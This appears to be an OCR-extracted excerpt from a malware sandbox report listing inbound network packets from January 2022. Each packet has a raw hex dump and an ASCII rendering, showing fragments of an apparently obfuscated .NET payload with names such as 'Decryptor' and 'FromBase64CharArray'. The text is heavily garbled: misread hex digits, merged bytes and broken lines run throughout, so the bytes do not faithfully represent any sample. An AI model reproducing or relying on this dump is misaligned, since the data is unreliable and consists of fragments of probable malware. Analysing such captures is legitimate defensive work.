ateDecryptorWritezIXXocCliget_OffsetToStringDatawN1cdRyTSStartsWithget CharsMqUKUgjbErtésXXhelaDKagxY
gZoK4yxLJIrtKuvKydBjv4u3TGFQBexmfvBdphXyvS3

2022-01-14 03:59:13 UTC 118 IN Data Raw: 45 56 51 43 58 00 4e 30 35 68 76 51 48 74 4f 58 00 6¢ 50 6e 68 52 55 6b 74 32 54 00 63 44 30 68 4e 35 32 6e
4c 48 00 73 4a 33 68 72 50 57 78 58 37 00 56 61 76 68 62 34 30 41 73 37 00 52 65 6b 68 50 33 41 70 6d 30 00 61 59 73
68 36 35 62 44 69 63 00 52 37 6¢ 68 54 5a 31 42 70 5a 00 48 49 50 39 54 34 4f 4a 67 79 69 44 72 4e 61 75 66 47 59 00
47 52 49 38 42 4b 6a 4c 70 56 00 66 6e 38 38 43 6f 6f 75 67 67 00 75 67 53 38 78 79 43 67 67 66 00 69 48 49 38 44 37 4
9 47 79 50 00 50 66 4a 38 31 76 44 38 44 79 00 65 4e 64 38 67 6b 55 67 4b 47 00 43 41 6d 38 61 48 4c 32 56 46 00 66
7772 68 44 73 74 51 6a 6e 00 4c 42 36 38 6¢ 66 51 76 75 74 00 41 6¢ 79 38 38 33 50 6e 32 4e 00 65 43 52 38 69 70 48
4a 39 35 00 4d 58 68 68 34 38 45 54 6¢ 64 00 6f 6f 75 38 37 6a 68 55 55
Data Ascii: EVQCXNO5hvQHtOXIPnhRUkt2TcDOhN52nLHsJ3hrPWxX7Vavhb40As7RekhP3ApmOaYsh65bDicR7I
hTZ1BpZHIP9T40JgyiDrNaufGYGRI8BK]jLpVfn88CoouggugS8xyCggfiHI8D7IGyPPfJ81vD8DyeNd8gkUgKGCAmM8
aHL2VFfwrhDstQjnLB68IfQvutAly883Pn2Ne CR8ipHI95MXhh48ETIdoou87jhUU

2022-01-14 03:59:13 UTC 122 IN Data Raw: 6¢ 00 57 53 4b 6¢ 7a 6f 44 6f 30 53 00 6e 77 57 55 30 76 46 75 36 35 00 61 6a 69 55 31 43 73 74 50 54 00 6f
3544 55 48 46 4d 70 34 44 00 68 56 34 55 66 75 49 77 4d 50 00 71 6d 74 55 49 41 39 66 4a 47 00 44 47 69 55 6d 32 70
78 70 48 00 4d 30 53 6d 36 47 5a 30 59 4d 49 69 55 6e 39 62 6a 63 54 00 74 43 44 69 78 78 63 48 6e 50 00 72 48 4f 69
79 68 73 79 72 34 00 6¢ 36 44 69 47 75 37 44 41 36 00 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74
69 6f 6e 00 4b 69 34 69 42 36 36 4c 48 56 00 70 6f 77 69 4c 34 38 54 73 73 00 58 74 61 69 46 6¢ 38 61 64 6f 00 4f 4b 47
69 57 6b 70 66 76 42 00 4c 61 6f 69 6e 57 4a 51 53 45 00 43 6f 6e 73 74 72 75 63 74 6f 72 49 6e 66 6f 00 4f 76 65 72 66
6¢ 6f 77 45 78 63 65 70 74 69 6f 6e 00 73 65 74 5f 49 74 65 6d
Data Ascii: IWSKIzoDo0SnwWUOVFu65ajiu1CstPToSDUHFMp4DhV4UfulwMPgmtUIA9fIGDGiUm2pxpHMOSmM6GZ
0YMIiUn9bjcTtCDixxcHnPrHOiyhsyr4l6DiGu7DA6TargetInvocationExceptionKi4iB66LHVpowilL 48TssXtaiFI8adoOKG
iWkpfvBLaoinWJQSEConstructorinfoOverflowExceptionset_Item

2022-01-14 03:59:13 UTC 127 IN Data Raw: 38 64 61 63 33 36 36 64 00 6d 5f 65 37 32 35 31 62 34 65 34 64 38 34 34 64 32 64 39 63 36 62 36 66 66 63 38
3866 31 37 36 63 30 00 6d 5f 39 34 30 30 36 62 61 39 39 37 61 31 34 38 63 65 38 66 32 64 63 36 34 39 30 36 33 39 34
62 3530 00 6d 5f 66 62 38 61 64 37 36 66 61 39 61 37 34 37 31 65 38 62 31 65 30 32 61 34 30 37 37 66 66 30 62 63 00
6d 5f 33 61 61 33 63 61 64 39 30 64 63 65 34 31 31 31 38 31 64 33 37 61 34 64 61 39 61 61 64 61 65 33 00 6d 5f 64 66 6
464 61 34 31 35 61 36 62 36 34 30 37 34 39 65 39 35 33 64 31 63 35 31 64 39 38 33 33 38 00 6d 5f 38 33 62 37 62 37 66
63 35 65 38 65 34 34 63 62 61 38 61 37 63 63 31 30 36 37 37 63 31 35 61 35 00 6d 5f 30 36 33 30 33 61 34 31 36 37 64
36 34 63 36 30 39 37 32 33 62 65 32 64 63 33 35 61 64 65 30 30 00 6d
Data Ascii: 8dac366dm_e7251b4e4d844d2d9c6b6ffc88f176c0m_94006ba997a148ce8f2dc64906394b50m_fh8ad76fa9
a7471e8b1e02a4077ff0bcm_3aa3cad90dce411181d37a4da%aadae3m_dfdda415a6b640749e953d1c51d98338
m_83b7h7fc5e8e44cha8a7cc10677c15a5m_06303a4167d64c609723be2dc35ade00m

2022-01-14 03:59:13 UTC 130 IN Data Raw: 38 00 73 65 33 68 48 59 61 51 54 39 00 73 45 4c 68 52 73 41 4e 75 30 00 59 45 6e 68 46 67 6a 4b 64 78 00 44
4d 41 68 74 56 64 4b 66 59 00 4f 69 59 68 35 75 46 79 37 67 00 45 56 77 67 31 4c 53 58 35 64 00 4d 37 55 68 34 4e 38
65 6b 72 00 6e 55 65 68 65 50 62 6e 6d 73 00 46 36 6¢ 68 42 58 42 77 58 38 00 6b 6e 4a 68 7a 55 48 4f 46 73 00 44 56
58 67 68 4e 4b 35 54 50 00 41 75 31 67 4f 79 47 65 76 35 00 63 76 6¢ 67 5a 6b 43 42 39 6¢ 00 78 77 31 67 49 77 43 41 7
874004836 71 67 76 6b 46 32 41 50 00 54 36 39 67 6¢ 72 79 76 73 47 00 4e 48 4c 67 4a 37 69 37 6a 77 00 4b 71 6d
67 6b 38 4f 4e 39 6d 00 42 69 6e 64 65 72 00 54 6f 43 68 61 72 41 72 72 61 79 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61
724172726179 0054 6f43 68 61 72 00 41 70 70 65 6€ 64 00 49 6e
Data Ascii: 8se3hHYaQT9sELhRsSANuOYEnhFgjKdxDMAhtVdKfYOiYh5uFy7gEVwg1LSX5dM7Uh4N8ekrnUehePb
nmsF6IhBXBwX8knJhzUHOFsDVXghNK5TPAulgOyGev5cvigZkCBOlxwlglwCAxtH6qgvkF2APT69glryvsGNHLgJ7i
7jwKgmgk8ON9mBinderToCharArrayFromBase64CharArrayToCharAppendin

2022-01-14 03:59:13 UTC 134 IN Data Raw: 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 Of 52 00 65 00 70 00 6¢ 00 61 00 63 00 65 00 00 17 54 00 6f 00
4300 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 Od 4c 00 65 00 6e 00 67 00 74 00 68 00 00 07 47 00 65 00 74
00 00 59 4c 00 35 00 68 00 64 00 58 00 6¢ 00 53 00 61 00 44 00 57 00 31 00 59 00 73 00 4b 00 4f 00 44 00 79 00 2f 00 58
0042 00 79 00 4d 00 59 00 53 00 6a 00 57 00 47 00 68 00 52 00 65 00 45 00 2b 00 45 00 41 00 6¢ 00 32 00 48 00 73 00
7400 59 00 51 00 53 00 4d 00 3d 00 00 31 2f 00 4d 00 74 00 59 00 4c 00 4d 00 67 00 30 00 37 00 63 00 4f 00 33 00 44 00
31 00 61 00 2f 00 58 00 76 00 34 00 2b 00 43 00 67 00 3d 00 3d 00 00 1b 74 00 69 00 42 00 72 00 6d 00 6b 00 68 00 57 0
054 00 79 00 4e 00 59 00 64 00 00 80 9d 53 00 79 00 73 00 74 00
Data Ascii: arArrayReplaceToCharArrayLengthGetYL5hdXISaDW1YsKODy/XByMY SJWGhReE+EAI2HstYQSM
=1/MtYLMg07cO3D1a/Xv4+Cg==tiBrmkhWTyNYdSyst
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Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 138 IN Data Raw: 18 18 09 09 09 0a 00 05 08 18 18 1d 05 09 10 18 06 00 03 Oe Oe Oe Oe 08 00 04 08 18 08 08 10 08 06 00 03
18 09 08 09 04 00 01 08 18 03 00 00 18 05 00 02 02 18 18 0a 07 05 1d 05 12 81 6d 08 08 08 0d 20 04 01 Oe 11 81 71 11
817511 81 79 05 00 00 12 80 ad 07 00 01 1d 05 12 80 ad 08 07 02 12 80 ad 12 80 f9 05 20 00 12 80 a1 07 20 03 01 1d 0
508 08 04 00 01 08 Oe Ob 07 06 Of 03 45 Oe 08 08 08 Of 03 05 00 02 02 Oe Oe 06 07 04 02 02 08 08 04 20 01 02 Oe 04 20
01 03 08 07 07 04 1d 05 08 08 08 06 07 03 1d 05 08 08 05 00 02 18 18 08 06 00 03 01 18 08 0a 07 00 04 01 1c 08 18 08
03 00 00 1c 05 00 00 12 81 4d 05 20 00 12 81 49 04 00 01 18 1c 06 00 03 18 18 1c 09 07 00 02 12 80 91 1c 02 07 00 02
1280 91 0e 02 09 00 02 02 12 80 91 12 80 91 05 20 00 12 81 7d 05 20 00
Data Ascii: mquy E M}

2022-01-14 03:59:13 UTC 142 IN Data Raw: 0a 00 02 1d 12 81 1d 1c 12 82 68 04 06 12 82 6¢ 06 20 01 12 80 91 1c 09 00 02 12 80 91 1c 12 82 6¢ 04 06 12
827007 0002 02 1c 12 82 70 04 06 12 82 74 09 20 02 02 12 80 91 12 80 91 Oc 00 03 02 12 80 91 12 80 91 12 82 74 04
06 12 82 78 04 20 01 05 1c 07 00 02 05 1c 12 82 78 04 06 12 82 7c 04 20 01 Oa 1c 07 00 02 Oa 1c 12 82 7c 04 06 12 82
80 04 20 01 Oc 1c 07 00 02 Oc 1c 12 82 80 04 06 12 82 84 04 20 01 0d 1c 07 00 02 0d 1c 12 82 84 04 06 12 82 88 07 20 0
21280 ad 1c Oe 0a 00 03 12 80 ad 1c Oe 12 82 88 04 06 12 82 8¢ 06 20 02 1d 05 1c 08 09 00 03 1d 05 1c 08 12 82 8c 04
06 12 82 90 08 20 01 12 80 91 12 80 91 Ob 00 02 12 80 91 12 80 91 12 82 90 04 06 12 82 94 07 20 02 1c 12 80 91 08 Oa
0003 1c 12 80 91 08 12 82 94 04 06 12 82 98 07 20 02 1c 12 80 91 09
Data Ascii: hl Ippt tx x| |

2022-01-14 03:59:13 UTC 146 IN Data Raw: 9e 83 48 39 ad 17 52 14 f5 84 ¢3 66 6b 17 fa 7c 1e 81 92 ff 9e cb Oe c2 5b 6f a7 af d4 aa d4 aa 33 ec 21 9 08
2e e4 dc 76 b9 53 51 55 e4 d3 63 a4 73 ce 4c 4b cf 85 09 56 54 5e d3 95 97 08 bd 41 f8 86 ea ee 9a 2e bl €6 1d ac Ob 56
a8 03 Oe 74 16 b5 c4 e8 7b 31 ¢8 34 04 74 45 e5 60 a9 06 9a 8b ad f9 8f fc c7 ab 58 3f €3 55 e2 dd 1f c1 df a7 48 81 lafc
ab 92 ca 62 68 ff 56 ca 2c 23 36 41 82 85 ab 94 86 69 50 6d 2 b4 10 20 ¢3 96 c9 08 0d df 4d 5b 03 69 45 91 6f 05 8c dc
66 8c 2c a9 f5 71 fa 9e c6 Ob 97 38 6a €6 ed ee 8e 58 70 a2 5d 02 97 36 e3 da fb 76 74 ff ad 2e 3d 4d 97 44 a2 48 68 ad
6e f4fb el 26 28 3a 5e 8d 41 18 86 3b e7 41 52 5b ba d8 44 53 03 b7 88 9d 4f de 82 f2 94 60 b8 9b 6f 6f ba 87 d6 6a ff f3
87 be al 6e 6b 01 06 d9 02 09 21 14 77 2e c1 2c
Data Ascii: HORfk|[03!.vSQUCcsSLKVT A.VH{14tE X?UHbhV, #6AiPm M[iEof,q8jXp]6vt.=MDHhn&(:*A;AR[DSO oojnk!w.,

2022-01-14 03:59:13 UTC 150 IN Data Raw: 6e cc 01 80 95 af a8 02 81 al 43 c4 2f 35 41 2d da 05 dc 20 70 9c ea 68 d8 89 eb c6 25 21 20 e0 52 e9 ff ac 3b
e4 f0 29 9d bc 67 9e 0a 24 1e b3 01 11 1c d3 17 f8 78 95 54 €0 01 d1 d4 44 Ob ca 43 ba 7e c2 3e eb 99 39 9c le d3 67 55
d1 3b fb 83 24 a8 56 93 fd 57 f4 49 85 a4 al 7e 4d 10 64 3b 9a 10 87 ae 97 4b Oe cd 98 14 Oa 8a 68 f2 6e 21 1b 68 69 6d
b6 93 d1 b7 8a c0 8d 25 d8 Of 9a 33 08 e8 8e 27 59 0d Oe eb d6 98 c9 ea 4f b3 25 db c1 e2 07 85 02 2f f2 31 65 12 56 b3
98 13 5e 57 9c bb 3¢ b8 32 50 el 67 9a 5¢ b9 6d 78 77 75 b4 db 04 5c 54 88 18 c4 fc 53 0f 6e f6 c1 63 7a bd 29 70 50 c9
fb 26 fb 93 ce ec €9 59 32 66 8d 75 2d 6d 09 a0 4d 03 dO 7e 75 26 14 d5 al 64 b0 99 da Oe 93 17 77 29 cf c2 34 f9 fe ec
5c b6 df 7 a7 d9 Oe 47 7f 29 66 61 b6 98 ef 03 a8 1f
Data Ascii: NC/5A- ph%! R;)g$xTDC~>9gU;$VWI~Md;Khn!him%3'Y 0%/1eVAW<2Pg\mxwu\TSncz)pP&Y 2fu-mM~u&dw)4\
G)fa

2022-01-14 03:59:13 UTC 154 IN Data Raw: 8¢ d3 c7 84 4d a5 49 c4 2d 8b 4f cc 3e 6b ac 87 25 b4 51 ff 69 63 2e 43 61 f4 3c 2d d4 a4 ea 4f 5¢ 2f ab 92 ca
11 31 40 32 5b 32 96 07 ef bd 22 8a d3 84 df 9d el 75 6e d4 ed 18 e9 al a6 29 77 5d 47 6f 66 48 13 6a ac a5 3a 10 ba be
d7 c3 13 f0 bb 2a 76 8e 27 98 a2 7b 8e a7 1a 9c 2b 72 b5 50 46 af c8 78 ca 18 81 ¢3 30 94 f2 39 27 2d e2 Ob 63 al 4b 30
a7 11 40 04 18 41 fe b0 79 7f 66 ea c3 f9 1c af c5 b6 23 ab 13 d2 bl 5f 04 cb 2d 8e d7 fe b7 87 a2 ea 4d 29 a7 b6 c0 00 22
2d b5 42 ed 55 47 4f 95 a5 d3 2b a6 8b 5d b7 91 76 94 f4 8d 38 95 55 Oa 7b 23 9e b2 2d 31 be b2 6c fO de 7c 59 b4 ff 78
60 4b 71 el 5f 3e Oc 75 cb fe c1 9f 20 27 78 44 4c b1 96 a2 d4 df 31 54 5b 65 fb 15 ff 26 04 ¢9 06 71 81 64 60 24 9a 64 67
a9 cc 88 5f b1 d2 05 3c Oa 14 f8 a9 06 3 64 64
Data Ascii: MI-O>k%Qic.Ca<-OV1@2[2"un)w]GofHj:*v{+rPFx09'-cKO@Ayf#_-M)"-BUGO+]v8U{#-1I|Yx'Kg_>u 'x
DL1T[e&qd $dg_<dd

2022-01-14 03:59:13 UTC 159 IN Data Raw: 69 1b 4e 75 1c a9 9e c6 03 7c Le d5 c4 b6 48 f4 37 96 {7 ad 15 2a a7 1b 6a 7e 4f b7 12 11 3d a8 c2 27 d8 ab
€298 86 62 8d 44 dd b8 16 b8 cc 41 ba b4 5e 8f 25 86 0f e3 be 80 11 €8 f6 ca 14 06 da 5c¢ f3 01 20 31 0a 6c ba 6¢ e8 f4
325554 ed f9 c4 97 7d 8a 01 65 cd 66 51 e c4 68 3 8b 48 8a bb 6e 14 47 86 e4 25 dc 5d dc 7b ed 2e 5e 74 d1 17 9e 36
29 cb a3 cc 1f 8d 49 92 ee 47 d2 3d b3 ca 3f Oe b5 d3 bb 3d 6a 52 2d 23 97 22 67 1b d8 22 1a 12 5e 3e bb 45 06 42 3e 69
dc ee 7c 6e 59 7 bb 95 ¢9 97 d6 78 6a 33 3f 5d d0 4d ee f1 f0 64 d1 07 82 98 15 95 6a 81 c2 69 3b ef 12 a1 27 Ob 4b d2
cd 58 95 8f Of 5d 9c b 66 19 ce 82 2c 65 df b6 4f 10 be ad 6¢ 75 d2 4a 63 95 a8 6e 43 ce 9c 4a 3d 7 b7 b6 35 d2 49 54
54 8 93 e4 83 €3 69 d4 00 51 ee c5 63 10 f7 37 94 18 2d
Data Ascii: INU[H74~O="0DA%\ 1II2UT}efQhHNG%]{.At6)IG=2=jR-#"g"">EB>i|nYxj3?]Mdji; KX]f,eOludenCJI=5ITTiQc7-

2022-01-14 03:59:13 UTC 162 IN Data Raw: 46 66 57 be ea af a6 12 21 Oa 44 bf ee b1 4d al 50 c7 da c7 1b 5e 5f 6d 4b 1d e9 93 d7 06 ec 23 6b 71 91 69
fc 00 5b 61 68 fb cb d5 cd 25 3f 64 4a 7b d1 68 35 59 fe ae fd 34 3e 73 c1 2f 9c 9d 8d 5d 64 cc 69 67 40 c1 54 10 3f c7 6e
a0 b9 c7 75 5e 50 08 9e 17 ce 78 8c a3 ff a2 40 ¢9 10 57 75 a8 ff f1 d8 f6 cO a6 d3 6a €6 68 8c b3 73 96 76 b0 f4 a5 61 34
1cc9ef3eal 2c 0048 e2 53 a3 7d 91 f5 00 17 28 a5 Oe 32 78 9a 9a 5¢ df 10 8b 79 65 4d 04 45 aa 61 ec ef 2e 80 b6 80
10 88 cc f9 da a0 6e 05 52 13 87 90 1d cO 5d 99 5f e6 28 4e 04 1d 62 08 9d 4f a5 42 87 2c f0 47 3d ef 95 75 97 07 2c 9d
5d 52 8e ae 8e b4 61 4c 74 bb 98 9b 8e b3 ac a9 79 f1 75 30 be 83 16 1c 68 c8 19 8e 80 93 25 7b b9 ef 01 7d 9e d0 bb 8¢
3f ¢5 d6 fc b9 cf d9 52 d4 fb Oc 1f d7 32 61 98 fa
Data Ascii: FFWIDMP”_mK#kqi[ah%?dJ{h5Y4>s/]dig@T?nu"Px@Wujhsvad> HS}(2x\yeMEa.nR]_(NbOB,G=u,]RalLtyu0h%
{}?R2a

2022-01-14 03:59:13 UTC 166 IN Data Raw: d2 48 02 94 a8 47 40 15 5d ea 81 43 ¢9 5d 61 7d 05 15 95 31 cb 91 15 80 14 ba 30 5 93 02 54 88 9b b0 Ob 8¢
76 4c 95 a5 4d 01 26 09 f1 e1 08 d6 7b 60 19 f6 Oe 2e 4e 6 ea 2d 4f a7 d2 4b 35 b3 77 d3 76 ea 04 30 57 ce 76 €0 26 23
a3 f9 73 89 d7 d0 71 85 88 72 4e 63 2a 82 33 55 9c 12 1c 5a f5 Oc 19 5d 9b df 89 97 00 3f b7 ce 60 9c ¢ cc el f6 €0 8f 73
50 €9 2b b6 51 98 39 d6 64 ea 03 ce 4e 3f 62 eb 60 60 2a 2 2 17 d7 2 7a 93 28 ee 0 6¢ a6 8f ae 9d db 3d 68 77 1c d3
256 2b 08 €9 a8 81 34 9a df 02 e4 €5 69 30 €5 7e 78 ¢3 2a ed 71 2f b0 a4 24 b1 7 12 d1 39 fb 7b 06 c1 5 3f 3a 2d f8 5e
0d a0 6d 81 da 09 f4 3a 35 dc b6 4b cd ed 55 f2 €3 18 1d 92 €9 4e ba 1f 53 1a 7a 49 4a ad fb 59 ab 73 84 18 1e d8 7d ce
0f Ob a7 3b af 91 aa e8 7f b2 b7 90 11 1c 12 26 b8
Data Ascii; HG@]Cla}0TvLM&( .N-OK5wvOWvV&#sqrNc*3UZ] 2 sP+QIdN b *z(I=hw/V+4i0~x*q/$9{?:-"m:5KUNSZIY sh&

2022-01-14 03:59:13 UTC 170 IN Data Raw: Ob db 9e ad 09 7b 84 e4 5f 27 56 84 f7 b2 ca 86 24 4b e2 2d 9a 9f 63 bd 2f bl ef ¢7 00 f3 8e 2¢c d7 7f 01 9c 57
d2 43 9b 27 ad 8b 63 15 75 88 5a d7 5¢c 82 84 f2 d5 2 60 7a 54 87 8e 1b bf 6a 0d 49 01 90 14 23 b5 ef 65 26 c9 26 b2 ea
b7 56 6b 7b dc 46 b3 Ob fe 3b 19 7d 15 e4 fb 2f f8 57 0a 6b 23 06 2e 43 cb f6 35 b2 93 cc 18 4b 95 6d 3c 77 9c e8 6b 75
81 91 bf 26 47 19 43 8b a4 ee cc fa db 60 51 3f c2 89 03 17 4c d6 e3 33 16 5f 54 96 6d bf e7 c4 el 82 fe 44 7c 77 7f 20 9¢c
00 2b 31 18 d2 03 d7 e7 2e 18 08 33 8d ac 92 f4 87 bd d9 ae 37 3b 5c¢ 2b ff 6d b3 ba 58 f6 23 8b 2c 3f bc 6d 23 94 f0 0d
b6 3b e4 70 c7 61 4f dc 1f c8 a8 42 6f 70 bc 69 1b 7 6f 91 f4 7a 9d 67 66 98 a4 08 65 9b bc c4 d1 93 b5 b0 76 fO b2 d7 12
b2 cc 50 1c 80 e6 7f 6b cd 61 52 08 58 c2 3d fb
Data Ascii: {_'V$K-c/,WC'cuz\ zTjl#e&&VK{F;}Wk#.C5Km<wku&GC Q?L3_TmD|w +1.37;\+mX#,?m#;paOBopiozgfe
vPkaRX=
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 174 IN Data Raw: 24 e6 91 d1 07 46 1f 30 50 e6 5b €9 c6 c0 df 7e cf 3d 21 26 8¢ 40 c0 e7 cf 4f 3d 4f bb d3 f2 ¢3 d9 47 6c¢ 59 4f
34 84 78 b0 37 36 8f 90 63 6a 23 13 3c ae 73 32 45 7c ae eb dd 60 9f d3 15 81 d3 32 ec b2 cc 32 a7 4a db 7c d4 91 2b 02
a6 e5 77 b8 6e 36 08 14 79 a3 17 d4 12 19 ee d3 6f 17 ¢8 8f 17 d7 1b e0 65 10 3d €9 3f 00 d0 1f 17 2b 9c 17 78 27 62 88
le a5 6e 89 60 94 b4 ac c0 8b 8e c2 81 3d 86 6b cb c0 79 b6 cd 2e ad 4e d9 a0 4a ee 64 24 73 b6 be 36 c1 2b 1b 47 3d
2109 4b c6 3a 17 42 a6 48 03 16 47 04 0f 08 Ob 6e e5 9a 45 e7 3f a3 92 6a f2 79 55 bb 26 5¢ 2b 68 a4 46 d7 32 39 96 8c
7529 fc a2 34 9b 6b d6 c3 d2 2a 4a e5 d3 54 be 4d 6a 09 e0 c1 91 09 9b bb d6 fc 38 82 38 d3 02 9d 27 3a 76 b7 2c ec 21
72 bl fb f9 bf 55 fc eb 31 61 a9 6f 15 a2 8f ff 5b cO d2
Data Ascii: $FOP[~=!&@0=0GIYO4x76cj#<s2E| 22J|+wnbyoe="2+x'bn =ky.NJd$s6+G=!K:BHGNE?jyU&\+hF29u)4k*JT
Mj88":v,!rUlao[

2022-01-14 03:59:13 UTC 178 IN Data Raw: c2 cb 5a 6f 81 df 21 37 09 18 b3 53 f6 d6 80 f7 20 a4 d3 7a 45 32 46 70 43 7c 01 9b 1f 82 9a 4e 33 48 94 57 d4
28 6f 9d 69 04 9d cc 5b 25 1b bc ed ca 04 4e 7a 05 46 72 f4 9e d8 be 22 c7 3d 0a 56 ec 33 02 7e bb 4e 71 c4 77 0a 32 db
6f50 71 c6 el dae7 76 8e f8 73 f6 62 70 e0 a0 95 85 47 55 8b ab ad 55 9c 03 d7 88 3f fa c9 ee d3 f3 23 70 1e 26 69 04
d7 23 a2 e6 2a 61 d3 bf 26 1a 33 66 84 78 01 dd d4 a8 32 b8 5b 31 5f €7 02 e6 a5 46 ed fe 36 27 7e e3 5a €6 cf 3d e6 cO
5a 31 f5 fc c1 8c 4c 6e Oe 28 b7 3c cb de 91 cf f4 79 1a 38 42 95 91 3e f6 ¢2 10 4c e3 19 c2 c9 e7 25 0f 8c c5 61 43 c2 d9
02 da 5e 77 7b d7 c3 51 b3 ab 2d 49 3a al 6d 19 1c b8 4e 26 73 19 1f 52 37 a2 64 91 94 b9 49 6e e7 e4 0f dc 71 42 de 7d
b2 c6 5f f4 a9 c1 e7 08 61 11 fc 13 8e dc 50 74 92
Data Ascii: Zo!7S zE2FpC|N3HW(0i[%NzFr'=V3~Nqw20PqvsbpGUU?#p&i#*a&3fx2[1_F6'~Z=Z1Ln(<y8B>L%aC w{Q-I:
mN&sR7dIngB}_aPt

2022-01-14 03:59:13 UTC 182 IN Data Raw: 8b 6f 93 89 28 5e 56 c6 b2 6¢ 84 43 56 34 1b d9 88 4e 2e 9c 48 1b e2 35 15 b1 45 57 b0 27 f2 36 Ob Oe 34 d2
32 ea 63 f9 5d 69 ba c8 6¢ 5f 43 cb f9 37 eb 41 c8 ad 8d 63 40 87 52 f1 e6 5f dO 8a fe 65 d3 ee 46 el b8 58 c4 9a d1 7e a7
18 fe 38 1d 7a cd ba eb 38 4e 84 2a 07 46 bc 12 80 58 08 f3 63 bd ea 23 7d e8 02 c4 2d aa fc bd 08 96 32 02 7b 0f 34 47
25 e0 7d bd f0 33 d8 79 06 07 33 3e ab d2 7a 87 bb 85 9e d2 cf a9 90 1c d7 9e c0 61 a2 4a f8 f3 95 23 f0 38 94 72 f0 15
9e ee bf d2 b8 6f d2 3e fe 08 1c a7 b8 08 ¢3 d9 db 12 45 45 cd 2f 77 c6 d4 34 f7 9c ce 23 87 b6 bf 71 fb 16 0f 97 f9 cO 46
dc 89 d5 5c aa 93 36 47 9e 4d 60 02 78 d9 1e 1d 70 20 3c 24 fa 87 19 06 22 9c a5 85 Oa ae dc 2c d1 bf ac 84 c2 44 93 37
e3 0acf7393 11 c3eddl a2 4b8c 322025 cd 70
Data Ascii: o("VICV4AN.H5EW'642c]il_C7Ac@R_eFX~8z8N*FXc#}-2{4G%}3y3>zal#8ro>EE/w4#qF\6GM xp <$",D7sK2
%p

2022-01-14 03:59:13 UTC 186 IN Data Raw: 57 eb 31 0a €9 d8 78 65 11 a4 a0 b1 b9 90 28 5f f7 67 05 d4 9b ff 58 ea 9a fe al 35 8f cb 06 a3 8d 98 9b 49 7a
4d 3c be 03 32 9c Oe 7e c4 b4 a4 bf {7 8f ea 97 43 17 84 ca 6¢ ea 2b a2 28 93 87 ce 80 72 bc 4a 03 56 ae 3d 52 3a 18 c8
90 ba d7 03 d0 14 94 c2 27 90 bb 2d d7 fe 58 f3 c2 ad 6c¢ f6 fa df 70 6¢ e6 b9 64 96 37 80 46 b0 c9 32 9d 1b ef 5¢ 3b bb 62
e7 51 a9 ea Oe 88 64 d4 1a b2 ae 48 a8 14 5b 55 fO b9 ee ee 34 a0 90 6d ef b9 f3 ba 91 5b cd 83 73 7c 77 69 0 0d 1a 8a
d8 b2 b9 3b 2a 9¢c 22 33 ac c7 ff 8b d2 1b 73 c2 30 6d 77 dd 32 17 39 b9 a6 50 58 4e 3b bl df ef 1d 72 ac ff 32 29 Oc 51 98
4b 7e 81 25 35 5b fe 68 77 27 e2 30 bd 92 42 30 08 b5 a3 8e 16 68 02 c9 ed ed 79 b3 1b cd f9 a3 86 23 70 39 57 90 63 a4
aa e9 9b 69 11 5f b6 d4 2b 45 bd bd 77 39 €9 4e
Data Ascii: Wixe(_gX51zM<2~Cl+(rJV=R:'-Xlpld7F2\;bQdH[U4m[s|wi;*"3s0mw29PXN;r2) QK~%5[hw'0BOhy#p9Weci_
+EWIN

2022-01-14 03:59:13 UTC 191 IN Data Raw: 6¢ 33 14 8a f8 f3 b9 48 72 f4 3a 92 59 fa 9c 94 a5 Oa a3 la d2 80 f8 20 52 76 e5 37 b3 15 a8 ¢3 ¢5 42 72 22 c5
4f 20 28 81 dc 70 eb db 56 6d f5 49 83 af Ob bd 04 20 c9 6¢ f3 20 eb 42 03 71 26 05 bd 4e ae eb 71 fc 39 9f a5 6b 39 10
55 74 4c b0 12 10 2e a5 ed e8 9b ef d0 56 d1 1e 88 b3 b6 f4 72 3f c1 29 e4 5d 3f 63 3e bc f0 b2 fe Oc 54 9e ca 28 e2 c5 b6
ff bc 7f d6 01 c4 c8 be 31 de 65 ce cb 21 f4 25 49 78 eb 2e b0 b8 fc €8 63 f0 3f 48 6a 8c 72 4a 99 e7 8b 88 6f 16 f3 f4 el
78 2d 26 77 4e 4a a0 d5 92 a0 ae 21 90 3d 4f 44 9f c3 47 fa 08 29 6¢ fe f1 fb 86 75 ea 3e b0 07 6f d0 16 eb d4 42 02 19 76
b9 8d e7 60 71 f0 fa cd 1a 05 5e b2 78 9e cd d1 86 42 28 ¢3 00 25 e0 al 35 da 3c fd 8e 4a 1b a2 a4 4f 77 86 cb 98 f0 c2
b8 37 d8 db 2e af 07 1a fc 76 5¢ 5d b7 33 95
Data Ascii: I3Hr:Y Rv7Br'O (pVml | Bq&Nq9k9ULL.Vr?)]2c>T(1e!%lx.c?HjrJox-&WNJ!I=ODG)|u>0Bv g"xB(%5<JOw7.W\]3

2022-01-14 03:59:13 UTC 194 IN Data Raw: 4e 31 31 67 04 38 52 00 3f 35 52 5e d3 17 ff 13 15 65 8a 9 3f a2 bf 5e 48 56 26 08 5a 7d f9 86 15 ee 17 8¢ a7
b4 2c 71 ce Oe 3f 64 6f 0 77 ca ab 6¢ 06 72 67 09 3f 53 a5 el db a0 b5 60 7f 3a 13 74 80 f5 59 08 67 ed 4f 72 18 d8 2e d4
de 3e 1f a8 a2 ce 1e 33 95 15 3f 44 44 33 88 c5 72 8d ad 86 36 18 7b 3e 92 7b 44 e1 4a 80 51 58 9b bd f1 9e €3 58 47 22
77 8d a7 f9 30 da fa a3 e4 10 58 82 af 5b 56 cc c5 d8 4e 30 f5 fb 41 e2 f9 8b 70 fd 8b 21 da 06 9b 97 c8 4b 40 2f Of d1 b3
cc 19 04 a3 30 b6 Oc 8a cd 3d 70 4d ca a3 d7 29 3a 5a 45 40 ad 53 7a 26 da a7 71 3f 65 7a 75 03 a7 0a ff 45 26 49 02 c7
409 57 e7 97 7f e2 58 4b ba bf d9 c2 d9 df d5 21 04 b2 a6 42 48 1a 13 16 54 99 c4 88 6b 35 42 31 a2 5f 89 e8 8a 46 96
3759 ¢1 0c f1 c4 4f dO 33 59 81 df 2a 23 4c df
Data Ascii: N11g8R?5R"e?"HV&Z},q2dowlrg?S :tYgOr.>32DD3r6{>{DIQXXG"WOX[VNOAPIK@/0=pM):ZE @ Sz&q?eZUE&I
WXKIBHTK5B1_F7YO3Y*#L
